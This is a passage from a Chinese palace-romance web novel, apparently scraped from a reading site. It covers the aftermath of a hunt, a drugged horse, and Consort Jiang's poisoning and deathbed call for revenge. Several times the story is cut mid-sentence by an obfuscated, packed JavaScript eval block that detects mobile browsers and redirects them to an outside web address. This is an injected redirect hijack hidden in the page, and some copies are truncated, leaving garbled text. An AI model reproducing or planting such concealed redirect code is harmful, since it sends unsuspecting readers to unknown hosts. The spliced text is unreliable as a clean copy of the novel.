淡光映照着他俊美的侧脸,他半低垂着眼,眼睫被笼罩了一圈淡金色的绒光,透明似的皮肤,连脸上细小的绒毛都纤毫可见。 脖颈上隐伏的青筋在白到几乎透明的肌肤上愈发显眼,尤其是她的注意力一旦放在上面时…… 她不动声色地微微挪过了手,状似不经意,指尖轻颤地抚过他的青筋血管,甚至能感受得到底下脉搏的跳动、血液的流淌。 她难耐地舔了一下唇。 这让她更加兴奋了,虽然她也不知道这是为什么……只是出于本能的驱动,她想咬他,咬上他喉结旁,那几根微微凸起的青筋血管。 他居然问她想要什么……在这种关头。 实在是……引诱人而不自知。 她吞咽了一口口水。 可是她能怎么说,说她想要咬他? 为什么呢?连她自己都不知道为什么…… 不,她不能这么做,她怎么能咬人呢,更何况那个人还是萧彻,她若是随意咬他了,那跟疯狗有什么区别? 一旦她这么做了,便是被他抓到把柄,依照他的性子,肯定时时拿这件事来说事,往后在他面前,她可就再也抬不起头来了! 可萧彻眼下就在她面前,一呼一吸间都在无声地引诱。 越发强烈的渴求与瘾念,每一寸经络血脉,都在疯狂叫嚣着,引诱她附上萧彻的颈侧,可仅存的一丝理智又再拼命告诫她别迈出那一步:她疯了么?那是萧彻!她想对他做什么! 熬一熬吧,这骊山向来是传闻中精怪出没之地,玄而又玄,她此行一定是招惹了不干净的东西,所以才会这般反常,对萧彻产生强烈的身体迷恋,连她自己都不知道为什么。 或许只这么一回,熬过去就行了!否则等清醒过来,她要如何与萧彻解释,若是被萧珏知道了,她又该如何自处?! 萧彻也不会同意的,难道她要求他么?可她刚刚才信誓旦旦地说这辈子决不会再求他!今天她在他面前已经丢够脸了,旁的还可以说是事急从权,能屈能伸,可若是连说过的话都能转头不算数,只怕她这一辈子在这个死对头面前,都将抬不起头来! 她一想到这样的后果就头皮发麻,不,她一定不能迈出这一步,忍一忍,忍一忍就过去了,一定就只有这么一次,只要忍过去,她依然是那个无比正常的清河公主。 强烈的身体欲望与残存理智的疯狂博弈,后果就是整个人到了一种近乎虚脱的地步,指甲深深陷进手心,竟然已经感觉不到疼了。 白皙的额头密密麻麻地布满了汗水,打湿了两边的鬓发。 红润的唇瓣微微开合,最后叫了一声萧彻的名字后,她终于因为体力不支再度晕了过去。 等再醒来的时候,耳边似乎听到一声声关切的“嘉柔……”好像是萧珏的声音。 她费力地睁开眼睛,视线慢慢变得清晰,果然见萧珏正一脸担忧地站在她的身前。 有心想要再进一步,却被萧彻档在身前。 是啊,她如今还在萧彻背上。 她一下子清醒了,挣扎着想从萧彻背上下来,目光巴巴地看向萧珏:“太子哥哥……萧闻祈,你快放我下来!” 萧彻没什么表情地将她放了下去。 萧珏果然伸手捞过了她。 颜嘉柔甫一落地,便急不可耐地扑进萧珏的怀里,之前种种委屈在这一刻得以尽数宣泄:“呜呜太子哥哥,你终于带人来找我了……” 她一张莹白的小脸淌满了泪,抬头泪眼盈盈地看着萧珏,抽噎了几下,刚想开口说什么,忽然后知后觉地反应过来,方才身上那种难以启齿的渴念与如虫爬身、从骨头缝里渗出来的痒意忽然完全消失不见了…… 她又变成了那个无比正常的颜嘉柔。 只是再转头偷偷抬眼看向萧彻时,对上他漫不经心的目光,不知道为什么,还是一阵脸热心跳,方才与他的亲昵举动,一幕幕浮现在脑海,始终挥之不去…… 萧彻没什么表情地往萧珏身后看了一眼,见他果然带了随行御医,略抬了下颌,道:“皇兄既带了御医,不如就在这给她瞧瞧吧,她被野狐咬了一口,说是伤口痒得厉害,别是染了什么怪病,她既说那狐狸是我招来的,我总要多上心些,省得她以后赖上我。” 他说着望向颜嘉柔,挑了一侧眉毛,语调懒洋洋的:“是不是啊,皇妹?” 发生了那样的事,颜嘉柔这会根本不敢看他,鬓发掩映下,没人注意到她白玉似的耳垂早已红透。 她支支吾吾地别过脸去:“不……不用了,我已经好了,伤口不……不痒了……” 说到“不痒了”三字时,更觉难以启齿。 她说得心虚,恨不得立刻拉着萧珏离开这里——眼下她实在没什么面目跟萧彻待在一起。 萧彻审视了她片刻,唇角扯开一点弧度,只意味不明地“哦?”了一声。 颜嘉柔再不敢看他,拉过萧珏的袖子轻轻晃动,央著他道:“太子哥哥,我有点乏了,你快些带我回营帐里去吧。” 萧珏一直温柔地注视着颜嘉柔,及至她开口求他,目光中更添爱怜:“好,此次你受惊了,有我在,别怕,回去好好歇一歇,便能恢复了。”便扶着她往回走去。 萧彻望着两人挽手离去的背影,唇角的那点本就虚浮的笑意终于彻底消散,茶色的瞳仁在日光下泛着冷意。 肩上忽然搭上来一只手,揶揄的声音随之响起:“还看呢,人都走远了。啧,还‘有我在,别怕’,人小嘉柔之前误骑了疯马,险些葬身马蹄之下,他那个时候不在,如今疯马已被制服,人安然无虞地回来了,他这个时候倒又在了——没想到我们太子殿下深藏不露,倒是个会捡现成的。” “诶,说起来,那匹疯马你后来是怎么制服的?” 萧彻回头,淡淡地看了来人一眼,声音没什么起伏:“死了,被我喂了匕首。” 来人一噎,咳嗽了一声:“不愧是你。御赐的宝马也敢说杀就杀,倒不怕圣上怪罪。” “父皇不会怪罪的,性命攸关,它不死,颜嘉柔就有性命之忧。”他搭下眼帘,低头看着手掌,只道:“就算怪罪了,那又如何?” “她的安危,最重要。即便是她的一根头发,也比旁的事物,要珍贵许多。天塌下来,亦是如此。” “好个‘天塌下来。亦是如此’,你倒是为她花心思,可惜啊,她却不见丝毫领情,你这前脚刚救了她,后脚太子来了,她就巴巴地跟人走了,倒像是急不可耐似得,也不见她跟你哪怕道一句谢,啧,真是个小没良心的。” “燕骁,”萧彻终于叫了一声来人的名字,淡道:“你来很久了?” 燕骁低头摸了摸鼻子,讪笑道:“倒也不是很久,赶个巧罢了。圣上先前派我去做别的差事,我回来后,本想问问你这次狩猎收获几何,却不见你,找人一问,才知道你跟卓沙比试胜了他,得了圣上赏赐的一匹雪骢马。” “后此马意外发狂,驮着清河公主奔向密林,你也随后策马跟上。你对她的心思,旁人自然怎么也想不到,可你兄弟我,难道还不清楚么。” “她有个好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕骁懵了一瞬:“那又如何?你心心念念的事终于得偿所愿,你跟我说那又如何?” “得偿所愿?呵,”他忽然抬头,定定地看向燕骁道:“我来告诉你,什么才叫得偿所愿。” “她真心爱慕、喜欢我这个人,是得偿所愿,她只钟情于我,对旁的男子视若无睹,是得偿所愿。” “可你看现在呢,她误以为儿时救她的人是太子,所以喜欢他,先不说我说出真相之后她信不信,即便信了,转而喜欢我,那她也不过是因为恩情移情于我,她喜欢的是救她的那个人,并不是我。” “太子救了她,她就喜欢太子,倘若是你救了她,她是不是也要喜欢你?这样的喜欢,换谁都可以,我萧彻不屑于要。挟恩图报这种事,我也不屑于做。我要她真真正正、完完全全地只喜欢我。若做不到,情愿没有。” 燕骁呆了好半天才回过神来:“不是,你怎么这么死脑筋呢,先把人哄过来,再徐徐图之,日后让她为你神魂颠倒,那不是迟早的事吗?” “不是,萧闻祈,你真的是兰陵族人吗?亏你还是江贵妃的亲子,除了继承这一身皮囊,她的本事,你怎么一星半点都没学到?” “我说你要不回去好好请教一下江贵妃,诶不是,我话还没说完呢,你走什么,别以为费心思,耍手段该是女子做的事,这种事不分男女,只看是谁先动的心,真的,你赶紧回去请教一下你母妃,别不好意思……” 前方的萧彻身形一顿,修长手指缓缓攥紧,终于忍无可忍,偏头吐出一个“滚”字。 燕骁望着他远去的背影,低头摸了摸鼻子,颇有些不以为然:“你清高,你了不起,等你心肝真跟太子跑了,看你上哪儿哭去。” ——倘若他再不做出改变,这也只是迟早的事罢了。 可看他那副样子,是轻易不会改变的了。 燕骁想,颜嘉柔和萧彻两个人,眼睛长在头顶上,都是一般的傲,脾气也都犟的很,谁也不会主动低头,简直是无解。 恐怕只有出现一个出人意料的契机,两人的关系才有转圜的余地。 12. 第 12 章 燕骁原本以为萧彻出去是和魏元帝他们汇合了,没想到他却将他带到了雪骢马葬身的地方。 原本浑身雪白的雪骢马,此刻喉颈处赫然一个血窟窿,浑身上下雪白的毛发尽数染成了鲜红色,身下积了一滩血洼。 一双马眼还死死瞪着,只是已全然没了气息。 萧彻面色不变地走到近旁,靴尖踢了踢这死物,道:“这雪骢马素来以温和著称,在颜嘉柔上马之前,我还特地试过,性子温和得不能再温和了,原以为决计不会出什么差池,缘何跑了一圈后,等到她上马时,却忽然狂性大发?” 燕骁摸了摸下巴,皱眉道:“确实费解,我早年跟随父亲四方游历,见过不少品种的马,烈马伤人自然是有,却从未听过一例雪骢马伤人事件,毕竟它的性情,可是出了名的温顺。” 萧彻平静地看着他:“我怀疑这匹马被人动了手脚,你见识广,有没有一种药,马儿服用之后,药性初时不显,却会在被人驱策驰骋之后慢慢显现出来?” 燕骁沉吟片刻,目光一凛,肯定道:“有!有一种香料,叫做辟寒香,掺杂在草料中喂给马儿,药性初时不显,可一旦马儿被人驱策奔驰后,药性便会显现,使马儿惊悸发狂,将马背上的人摔下踩死。” “只一样,这辟寒香半个时辰内方才有效,一旦过了时效,即便驱策马匹驰骋,药效也不能发作。” 萧彻微微眯眼,扯了唇角一笑:“也就是说,此马被下药的时间,距离发狂至多一个时辰,很有可能是在上场前被人下了药,这马的腹中,也极有可能还残留着被掺了香料的草料不及消化。” 两人四目相对,燕骁微微颔首。 下一刻,便见萧彻取出匕首,寒芒湛湛,冰冷的刀刃映出他一双分外明亮的瞳仁,极浅的瞳色,映着匕首的冷光,透着一股清寒,像是冬日檐上冷凝的冰雪。 还残存着温热的鲜血却一下子飞溅至眼前,是萧彻将已死的马儿开膛剖腹,果然发现了未及消化的草料。 燕骁俯身,用手指捻搓了一点放至眼前辨认,目光一顿,神情瞬间变得严肃,朝萧彻道:“果真是辟寒香。” 萧彻抬眉,脸上的神情是一种意料之中的笃信:“有人想害萧珏。” 燕骁一愣,随即反应过来:“这匹雪骢马圣上原是要赏赐给太子的,若不是北楚王子非要与你再比试,而你又大出风头,极漂亮地赢了他一回,圣上也不会临时起意将那匹雪骢马转赐于你。那差点死于马蹄之下的,便是太子。” 有人想害太子,那人是谁,答案简直不言而喻。 当今崔皇后育有两子,嫡长子萧珏,嫡次子萧衍,因都是嫡出,地位本就一般的尊贵。而萧衍似乎更得魏元帝宠爱,他也并不服萧珏,认为无论文治还是武功,他都要略胜萧珏一筹,难道只因他早出生两年,这太子之位便合该是他的么?因此便渐渐萌生了夺嫡之心。 三月前他失足坠马,伤了腿而不良于行,更遑论骑射,因此失了圣心,如今腿伤虽有好转,但萧彻能从和他的交谈中感知到,他心里的怨气并未消散——他始终认为他失足坠马并非偶然,虽然并没有找到任何证据,但他一口咬定此事是萧珏所为,因此图谋报复,实在太正常不过。 这事确然有迹可循。 萧彻记得,魏元帝将雪骢马改赐他之时,萧衍曾试图劝阻,他当时就觉得奇怪,萧衍平时最圆滑不过,从不忤逆魏元帝,怎么今日却偏偏要扫他的兴? 除非,他是有非这么做不可的理由。 而魏元帝的临时起意,扰乱了他的计划。 他想让萧珏坐上那匹被下了药的雪骢马,让他出事。 魏元帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791817|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却将那匹雪骢马转赐给了他,萧衍那么紧张,一是怕心思白费,害不成萧珏,二是或许也怕害了他。 ——萧衍与萧珏虽为一母同胞,但因夺嫡之争,关系日益紧张,到如今,已是不死不休。 所谓兄弟血缘之亲,萧衍或许也只能在萧彻身上寻找慰藉,感知一二。 毕竟萧彻并非嫡出,身上又背负了前朝歧国余孽的传闻,在所有人眼中,早已被迫退出了夺嫡之争。 既没了威胁,萧衍的那份缺失的兄弟亲情,自然可以尽情地在萧彻身上找补回来。 因此他对萧彻,倒确然有几分真心在。 至于萧珏,就算他与萧彻之间没有横亘着储君之位,光是一个颜嘉柔,他们就注定亲近不起来。 萧衍与萧珏,这两人之间的暗潮涌动萧彻也不是不知道,只不过这原本是他两人之间的恩怨,并不干他的事,他也从不插手,只不过这次,事情显然同以往任何一次都不一样。 燕骁显然也意识到了这点,微微皱眉,看向他道:“这事你管么,还是跟以前一样,当做不知道?” 萧彻目光寂若寒潭,只道:“原本自然只当不知道,可这次,他差点要了颜嘉柔的命,也差点要了我的命,你说呢?” 他一张俊美的脸孔渐渐浮上戾气:“我说了,即便是她的一根头发丝,也要比旁的人事珍贵许多。太子是死是活,从来不干我的事,但无论是谁,伤了她一毫一发,那便决不是小事。” 他微微眯眼,眼底掠过一道暗色:“御赐的雪骢马,身上留有特殊标识,替换不了,找个隐秘的冰窖把马的尸体藏起来,只要尸身不腐,证据就能一直留存,如此一来,我们就有了萧衍的把柄,亦可借机敲打他,防着他再做些累及旁人的事。” 燕骁喉结滚动,点了点头道:“都听你的。” 13. 第 13 章 骊山之行便在这种种意外事件中落下帷幕。 回宫后,萧彻第一件事就是去披香殿看望江贵妃。 江沉鱼这阵子总是头晕乏力,又十分嗜睡,魏元帝为此多次叫御医过来诊脉,却并未诊出什么,太医只说是她近来体虚,开些滋补理气的方子调养一下就是了,别的倒并无大碍。 披香殿中,瑞兽铜炉正袅袅吐着香线。 女子头上未饰珠翠,青丝披散,只着了一件轻纱寝衣,半躺在贵妃榻上。 隔着缭绕的烟雾,依旧可以窥见女子令人心惊的美貌。 沉鱼落雁、闭月羞花,不外如是。 虽则面带病容,眉眼间却不减丝毫容光,反而多了几分病西子的韵味。 不经意地一抬眸,竟有几分摄人心魄的味道。 珠帘被人挑起,是江沉鱼的贴身侍婢姬乐,她自幼跟在江沉鱼的身边长大,比萧彻年长几岁,在江沉鱼入宫前便已侍奉左右,在了解江沉鱼这件事情上,恐怕连萧彻都不及她。 萧彻笑着朝她微微一颔首,她连忙慌乱地低头,眼睫颤动了下,耳后微红。 里间的江沉鱼听到动静,半撑起身子:“是彻儿么?” 萧彻应了一声:“是。”便连忙步入内间。 及至走到江沉鱼身前,向她行礼道:“彻儿给母妃请安。” “快起来吧。听燕骁说,这次的骊山狩猎,发生了许多变故。你可还好?” 萧彻目光一顿,旋即笑起来:“无事,母妃不必担心,都已经解决了。” 他仔细端详着江沉鱼的面容,眉心微蹙:“倒是母妃,似乎瞧着还是恹恹的,精神仍是不济么?” 萧彻自小和江沉鱼十分亲近,毕竟魏元帝有那样多的子女,而江沉鱼就只有他一个儿子,母子两个背负血脉的诅咒,与皇宫其他人格格不入,相依为命,自然格外亲近。 萧彻儿时为救人落水,上来后感染了风寒,高烧数日未退,几乎丢掉了半条命。 是江沉鱼衣不解带地在他身边照顾她,跪在神佛前虔诚祈祷,愿意以她的十年寿命换他这一次的平安无虞。 后来他果然好转,江沉鱼却病倒了,魏元帝心疼坏了,甚至因此迁怒萧彻,斥责他为何下水染病,自己受罪也就罢了,却还连累了他母妃! 小萧彻内疚万分,也就是从那一刻开始,母妃爱他尤胜自己性命的这个认知,便深深地植入他的心里。 从那之后他也加倍地爱她,这之后她一有什么病痛,他都因为那个折寿的誓言格外紧张与心疼。 江沉鱼却摇了摇头道:“无妨,我自己的身子,我自己还不清楚么,不过是这几日天气渐热,我身子惫懒,愈发嗜睡罢了。” 萧彻这才点了点头,心下稍安:“那母妃千万要保重自己的身子,若有不适,立刻传唤太医。” 江沉鱼笑起来,女子的一张脸几乎辨不出年龄,方才看书时点了灯,朦胧的光晕映照在她白腻的侧脸上,隐隐泛着美玉的光泽。 烛火跳跃在她的眸底,动荡出一段动人的潋滟。 兰陵族人的瞳色比常人要浅,不是漆黑的墨瞳,而更偏向于一种琥珀色亦或是茶色。 眼睫长而密,掩映着一双浅色的瞳仁,漂亮得不可方物,看人时往往容易引人沉溺其中,也难怪有传言说,兰陵族人的蛊惑之能,七分皮相中倒有五分在这一双眼睛中。 江沉鱼慢慢笑起来:“你如今这般唠叨,倒是快赶上你父皇了。” “彻儿只是关心母妃罢了。” “乖孩子,我便知道我的彻儿最乖了。” 她看着眼前这个肖似自己的少年,神情慢慢生出了几分恍惚,不知想到了什么,喃喃道:“再有几日便是你的冠礼了……” 皇子成年行冠礼后,按例该迁往宫外,另立府邸。 为了多留萧彻在宫中一段时日,尽管魏元帝早早为他赐了字,可他的冠礼却被一拖再拖,而萧衍,年十六便已行冠礼,通常越得圣宠,行冠礼越早,萧彻却是个例外。 太子倒是十八才行冠礼,若不是玄陇那帮大臣一再催促,恐怕魏元帝还打算往后延。 只因一旦行了冠礼,太子便有议政决策的权力,相当于半只脚已踏上了龙椅,储君的位置也就坐得更为牢固。 这对始终想立最爱的女人的儿子为太子的魏元帝来说,自然算不上是件痛快的事。 只不过他也别无他法,一拖再拖,等到拖无可拖之时,也只能这么做。 萧彻道:“母妃不必担心,父皇那么宠爱您,必会让儿臣留在宫中继续陪您,不会让儿臣迁出宫外另立府邸的。” 江沉鱼目光落在虚空中的一点,不知在想些什么,淡淡道:“或许吧。” 她将视线重新落回在他的身上,慢慢微笑起来:“听燕骁说,你于情爱一事上仍未开窍,至今还未让那位清河公主钟情于你……彻儿,你真的很喜欢她,是么?” 乐正端了茶水入内,将茶水搁置到案几上,恰好听见二人的谈话内容,攥着漆盘的手一顿。 萧彻面色算不上好看,咬牙道:“燕骁对您的回禀,还真是事无巨细。” “你别怪他,他也是关心你,不忍看你这般求而不得,所以想让我指点你一二。” “指点?”萧彻扯了下唇角,要笑不笑:“情爱之事,又非算计谋略,如何能够指点?” “如何不能?彻儿,情爱之中的算计,只多不少,你要记住,你若喜欢一个人,一定要让她为你心疼、心痛、甚至心碎,只有这样,她才会对你难以割舍。” 萧彻蹙眉,神情中少见得流露出一丝茫然,“母妃,孩儿不明白。” “傻孩子,对你付出的越多,自然越难舍弃,若是为你心痛过一回,恐怕这辈子,也再难以忘怀了——你以后,就懂了。” “可若真心爱一个人,怎么舍得让她为自己心痛、心碎?” 江沉鱼一怔,不由得细细打量萧彻,最终只是轻叹了一口气:“你这孩子,恐怕日后在情之一字上要吃尽苦头。你对她这般不舍,往后便要为她心痛、心碎。彻儿,你喜欢她我并不反对,但情爱之事只能是点缀,记住母妃的话,万不可太过看重,乃至沉迷。” 说完便称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791818|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乏了,让萧彻先行跪安。 萧彻似懂非懂地走出披香殿时,决计想不到这是他最后第二次见到他母妃。 后来再回想这一次看望—— 犹记得出门时,他最后回望了一眼江沉鱼,目光上移,却注意到墙上挂着的一幅画。 是一幅山水画。 风格倒是颇像南齐的刘松年,萧彻知道,江沉鱼一向喜欢刘松年的画。 只是就连他也能看出,这幅画不过是赝品,仿得再像,也并非刘松年的真迹,他不信江沉鱼看不出。 问及她时,她却只是淡淡道:“是崔皇后所赠,为表谢意,自然要日夜悬挂。” 原来是崔皇后所赐,那便难怪了…… 萧彻当时只觉崔皇后此招倒颇为阴损,故意赐一幅赝品膈应他母妃,偏还无从指摘,即便被拆穿了,也可推脱她一片好心,并非有意为之,毕竟这幅赝品的确仿得像,若非行家,确然难以分辨。 若是为了不生事而选择不拆穿,便只能忍着恶心留下。 只是萧彻不明白,若他的母妃不愿,自然有千百种方法不受她的气,何苦将这副赝品日日悬挂呢? 问及江沉鱼,她却只是无谓道:“乏了,多一事不如少一事吧。” “何况你不觉得,这幅画虽然不怎么样,但上面的墨水似乎有种奇香,当真是好闻得紧,挂着倒也无妨。” 她说这句话时,脸上显现出一种奇异的神色,侬丽又清冷的眉眼,竟透出几分妖冶。 鼻尖似乎仍萦绕着若有似无的淡淡香气,那是来源于那幅画上的。 萧彻蹙眉,直觉那画有古怪,找来御医看过,却并未有何不妥,遂作罢。 三日后,魏元帝为萧彻举行加冠仪式。 仪式的规格,甚至比肩太子。 御史台的那帮言官,自然免不了一番上谏。 可魏元帝不买账,甚至搬出了一套星象论,命钦天监按照他的意愿随口胡诌几句,欺负那帮大臣看不懂星象这种玄而又玄的东西。 诸如“太白式微,须紫金护体,”这“太白星”指的是魏元帝,“紫金星”自然是萧彻,意为魏元帝有式微之象,若想龙体安康,则萧彻不得远行。 所有人都心知肚明,这是魏元帝为了留住他心爱的儿子,故意做的戏,甚至不惜为此诅咒自己。 他都做到这个份上了,自然也只能顺他的意。 崔守阶等人的态度,是只要魏元帝在大事上不失智,这种小事,他们倒也不是不可以让步。 萧彻对于自己能留在宫中并不意外,但听到消息后,我却还是有几分高兴。 他迫不及待地去到披香殿,打算把这个消息告诉江沉鱼。 刚进殿,迎面却撞上了姬乐,一见到他就急急地迎上来,双手紧紧抓着他的手腕道:“殿下,奴婢正要去找您呢……娘娘她,娘娘她想见您!” 萧彻蹙眉,看着她泛红的眼圈,只觉喉咙发紧,他听见自己涩然地开口:“怎么了?可是我母妃出什么事了?” 姬乐哭得泣不成声:“您……您跟我进来就知道了……” 14. 第 14 章 等跟着姬乐进入内殿,却发现情况比他预想得还要糟。 江沉鱼依旧半躺在那张贵妃榻上,却不复往日慵懒惬意的姿态,仰面躺着,大口大口地吸着气,手臂无力地垂下。 那张精致雪白的脸孔,此刻连一丝血色也无,像是被抽干了生气,若不是那浅色的瞳仁还缓慢地转动着,几乎要以为她已经全无生息。 突然她身子陡得一抽动,猛地侧过身子,呕出一口鲜血。 那呕在地砖上的一滩血,竟隐隐透着黑色。 她的皮肤本就白得几乎透明,如今血色尽褪,显出几分惨白来,衬着唇边残留的血迹,颇有些触目惊心。 只一眼,萧彻便尝到了魂飞魄散的滋味, 他踉跄着走到江沉鱼身边,终于支撑不住,扑通一声跪在地上,瞬间红了眼眶,哽咽着嗓音道:“母妃,为什么……究竟发生了什么……” 江沉鱼强撑着一口气不散,紧紧抓着他的手,看着他道:“彻儿,好孩子,母妃终于等到你了……接下来我说的话,每一个字你都要牢记于心……” 她一张美丽的面容渐渐扭曲,平素漂亮清冷的眼瞳此刻却翻涌着异样浓烈的情绪,他分明看到了里面蕴含着滔天的恨意,一字一句,锥心泣血:“是皇后和她的两个儿子害死的我,你一定要为我报仇,记住了么……” 明明说的是皇后他们,可眼中那股浓烈刻骨的恨意,却又好像透过他们在望向别的什么。 萧彻尚未从悲痛中反应过来,只茫然道:“皇后……和她的两个儿子?” “是……”她费力道:“你还记得那幅墨汁有奇香的画么……刘松年的赝品……皇后赐的……今早萧衍却说奉皇后的懿旨,来取回那幅画……说是意外发现了当初赐予我的那幅画并非真迹,大感羞愧,因此连忙取回……另又赏了些旁的珠宝首饰……说什么派萧衍前来,以示郑重……” “将画取走后……没过多久,萧珏也来了……说是听闻我最近精神不济,体质虚寒,而适逢高丽进贡上好的人参,他便奉皇后旨意特地让御膳房的人炖了一盅参汤,亲自给我送来……以示歉意……” “呵,当真是费心了……为了取我的性命,竟花费了那样多的心思……不惜……不惜派出她的两个儿子……” 萧彻哽咽道:“母妃的意思是,那幅画和那盅参汤,都有问题?可是那幅画我之前请太医院的院判检查过,除了墨香奇异之外,并无其他特殊之处,那种香对身体并无损伤……至于那盅参汤,崔皇后怎敢如此明目张胆……还为此不惜搭上太子,他们不是最在乎这个储君之位了么?” 姬乐这时在一旁小声啜泣道:“殿下,娘娘是喝了太子送来的参汤才突然毒发的,可奴婢用银针试了残留的参汤,却并没有毒……” 江沉鱼吃吃地笑了起来:“参汤自然没有毒……御膳房的总管是陛下一手提携上来的,崔皇后再如何,手也伸不到那里去……何况她也不会蠢到这样堂而皇之地赐我有毒的参汤,给人留下把柄……” 萧彻像是忽然想到了什么,猛地抬起了头:“母妃,这两样都没有毒,却又都有问题,是不是?” “参汤里必然加了什么,单服无用,但辅之赝品山水图上墨水散发出的异香,便会毒发,所以皇后才会让萧衍将那幅赝品拿走,好不留把柄,母妃,是不是这样……您一定什么都知道了……您告诉我……我求您告诉我……” 他声音带上了哭腔,狠狠攥紧了手,一字一句,恨声道:“他们是不是这样害您的!” 江沉鱼看着他,却慢慢笑了起来:“我的彻儿果真聪明……” 她伸手抚上他的脸,那样肖似自己的眉眼,让她一瞬间生了恍惚:“不愧是我的孩子,不愧是我们兰陵族人的血脉……” "彻儿,宫中视我们为不详,只因我们并非其族类,所以处处受到诋毁,可是母妃要告诉你,我们兰陵族人决不像他们说得那样不堪……” “相反,我们先天便比他们优异,无论是骑射武艺还是胆识谋略,甚至连这一身皮囊,都能为我们所用,来达成我们想要的目的,我实在想不到我们族人有何缺憾,便是实在挑不出不足,才会给我们安一个虚无缥缈的诅咒……呵,魏人何其歹毒……” “没错,皇后利用那幅赝品布局害我之事,我早就知道是怎么回事……墨水上那种奇香,叫做百濯香,百濯香,因其香味持久不散,即便濯洗百次,依旧如故,故而得此名……” “百濯香是一种极为名贵,也极为稀有的香料,皇室也不一定见过,想来那崔皇后必然是机缘巧合下得了此香,在了解其药性后,便打算用在我身上……” “此香有宁神的功效,可若过量,便会使人整日嗜睡,身子惫懒,一时三刻倒也要不了人的性命……只是熏用此香期间,不能服用参汤,两者原本皆无毒,合用却是剧毒,一炷香时间即能要了人的性命……” “她只当这香不常见,我必不认识,太医也识别不出,可偏偏我就是见过,我不但见过,我从前还经常用,只因它的味道好闻,我很喜欢……” 萧彻搭在她肩上的手,手指蜷缩了一下。 “我料得不错,你冠礼之后,陛下仍让你留在宫中,且你冠礼的礼制,不输太子……她到底还是不放心,怕陛下对我们母子的宠爱过甚,终有一日,会危及到他儿子的地位,而一旦我死了,你也会随之失宠,那她便可高枕无忧了……” “所以她坐不住了,冠礼才刚结束,她便急急地让太子送来参汤,滋补养气的参汤,不过是催命断肠的毒药罢了……当今皇后的懿旨,太子亲自送来,我又怎能不喝……” 萧彻只是不可置信地看着她,一开口,声音都有些发颤:“母妃,既然你都知道,你明明知道……你为什么……” 话说到后面,已几乎不能言语,目光有一种极致的哀痛。 江沉鱼却知道他要问什么,轻飘无力地笑了下:“傻孩子,母妃上一次用百濯香,那是多久以前的事了?那时你尚未出生,这么多年过去了,一时记不起药性也是有的……” “直到喝下那盅参汤腹痛不止……而姬乐用银针试验却是无毒,我才想起来……何况皇后的旨意,太子亲往,我又如何能违抗……” 因为说了太多话,江沉鱼忍不住咳嗽起来,她用丝帕掩口,等拿开时,上面已布满血迹,她却只是虚弱地笑了笑:“也好,终于解脱了……我其实早该死了,一个未亡人罢了……在歧国亡国的那一天, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江沉鱼怔了一瞬,忽然大笑了起来,仿佛是听到了什么天大的笑话,一双浅色的眼瞳骤然明亮,闪烁着奇异的光芒:“爱?哈哈哈……他隐瞒他的身份,蓄意接近我,利用我灭了我的族人,彻儿,你居然问我爱不爱他?” “我恨不得将他千刀万剐、挫骨扬灰,以告慰我族人的在天之灵!” 萧彻眼睫颤动,只是不愿意相信:“可是您……” “可是我什么?可是我为什么愿意陪在他身边,为他诞育子嗣?” “呵,不过是心愿未成,所以一直忍辱苟且罢了……”她抬眼,一瞬不瞬地看着萧彻,望向他的眼神中,包含了太多复杂的情绪,到底还是隐下最后一丝不忍,归于坚定道:“彻儿,母妃这一生的心愿,可全都系在你的身上了……” “我?” “是啊,我的彻儿……”她抚摸着萧彻的面容,看向他的眼神,就像在看一件满意的作品。 她从知道怀上他的那一刻起,就在心底酝酿了一个疯狂的计划。 她祈祷他是个男孩,这样她就有机会利用他报复魏元帝,报复整个魏族。 从他还未出世时,她就在谋划如何将他打造成一柄最好用、最锋利的匕首,替她一点点划开这魏族的江山图。 让其四分五裂,国不将国。 而如今,宝剑已可出鞘,这把花了十八年精心打造的匕首,比她设想的还要令她满意,她如今唯一要做的,便是助他淬最后一次火。 魏朝皇室男子十八便要加冠,一转眼,已经十八年过去了,萧彻也已经彻底长大了。 他该发挥他的价值了。 15. 第 15 章 江沉鱼灼灼地看向萧彻,眼神中有一种奇异的光芒:“彻儿,我的彻儿,好孩子,母妃今日为皇后母子所害,你一定会为母妃报仇的,是不是?” 萧彻紧紧握住她抚在他脸上的手,眼眶通红,狠声道:“我不会放过皇后的,我一定会找到证据,禀明父皇,让她付出代价!” “傻孩子,那副刘松年的赝品既已被萧衍要回,想必早已毁尸灭迹,你找不到证据的……光凭一盅无毒的参汤,能断得了什么罪呢……没有铁证,是扳不倒她的……” “不,不会的,母妃,你若是出了事,父皇一定会让崔氏为你陪葬!” 